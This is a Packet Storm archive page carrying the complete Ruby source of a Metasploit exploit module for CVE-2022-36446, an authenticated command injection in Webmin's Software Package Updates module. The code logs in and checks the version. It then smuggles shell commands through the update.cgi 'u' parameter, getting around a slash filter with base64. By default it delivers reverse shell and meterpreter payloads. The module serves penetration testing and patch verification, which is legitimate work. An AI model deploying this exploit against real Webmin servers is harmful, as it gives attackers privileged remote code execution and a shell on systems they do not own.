exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Webmin Package Updates Command Injection

Webmin Package Updates Command Injection
Posted Aug 10, 2022
Authored by Christophe de la Fuente, Emir Polat | Site metasploit.com

This Metasploit module exploits an arbitrary command injection in Webmin versions prior to 1.997. Webmin uses the OS package manager (apt, yum, etc.) to perform package updates and installation. Due to a lack of input sanitization, it is possible to inject an arbitrary command that will be concatenated to the package manager call. This exploit requires authentication and the account must have access to the Software Package Updates module.

tags | exploit, arbitrary
advisories | CVE-2022-36446
SHA-256 | 40335e81c5e1920c59b3fa7d7b9555cf342eefb7151f937070f230f69f2b8ee3

Webmin Package Updates Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Webmin Package Updates RCE',
'Description' => %q{
This module exploits an arbitrary command injection in Webmin
versions prior to 1.997.

Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform
package updates and installation. Due to a lack of input
sanitization, it is possibe to inject arbitrary command that will be
concatenated to the package manager call.

This exploit requires authentication and the account must have access
to the Software Package Updates module.
},
'License' => MSF_LICENSE,
'Author' => [
'Christophe De La Fuente', # MSF module
'Emir Polat' # Discovery and PoC
],
'References' => [
[ 'EDB', '50998' ],
[ 'URL', 'https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165'],
[ 'CVE', '2022-36446']
],
'DisclosureDate' => '2022-07-26',
'Platform' => ['unix', 'linux'],
'Privileged' => true,
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64],
'Payload' => { 'BadChars' => '/' },
'DefaultOptions' => {
'RPORT' => 10000,
'SSL' => true
},
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' }
}
],
[
'Linux Dropper (x86 & x64)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper (ARM64)',
{
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Base path to Webmin', '/']),
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ false, 'Password to login with', '123456'])
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") unless res

if res.body.include?('This web server is running in SSL mode.')
return CheckCode::Unknown("#{peer} - Please enable the SSL option to proceed")
end

version = res.headers['Server'].to_s.scan(%r{MiniServ/([\d.]+)}).flatten.first

return CheckCode::Unknown("#{peer} - Webmin version not detected") unless version

version = Rex::Version.new(version)

vprint_status("Webmin #{version} detected")

unless version < Rex::Version.new('1.997')
return CheckCode::Safe("#{peer} - Webmin #{version} is not a supported target")
end

vprint_good("Webmin #{version} is a supported target")

CheckCode::Appears
rescue ::Rex::ConnectionError
return CheckCode::Unknown("#{peer} - Could not connect to web service")
end

def do_login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/session_login.cgi'),
'headers' => { 'Referer' => full_uri },
'cookie' => 'testing=1',
'keep_cookies' => true,
'vars_post' => {
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD']
}
})

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302

print_good('Logged in!')
end

def execute_command(cmd, _opts = {})
cmd = cmd.gsub('/', '${SEP}').gsub('\'', '"')
cmd = "#{rand_text_alphanumeric(4)};SEP=$(perl -MMIME::Base64 -e \"print decode_base64('Lw==')\")&&#{cmd}"

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/package-updates/update.cgi'),
'headers' => { 'Referer' => full_uri },
'vars_post' => {
'mode' => 'new',
'search' => rand_text(10),
'redir' => '',
'redirdesc' => '',
'u' => cmd,
'confirm' => 'Install Now'
}
})
end

def exploit
print_status('Attempting login')
do_login

print_status('Sending payload')
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
Login or Register to add favorites

File Archive:

November 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    16 Files
  • 2
    Nov 2nd
    17 Files
  • 3
    Nov 3rd
    17 Files
  • 4
    Nov 4th
    11 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    3 Files
  • 8
    Nov 8th
    59 Files
  • 9
    Nov 9th
    12 Files
  • 10
    Nov 10th
    6 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    1 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    9 Files
  • 15
    Nov 15th
    33 Files
  • 16
    Nov 16th
    53 Files
  • 17
    Nov 17th
    11 Files
  • 18
    Nov 18th
    14 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    26 Files
  • 22
    Nov 22nd
    22 Files
  • 23
    Nov 23rd
    10 Files
  • 24
    Nov 24th
    9 Files
  • 25
    Nov 25th
    11 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    20 Files
  • 29
    Nov 29th
    9 Files
  • 30
    Nov 30th
    21 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close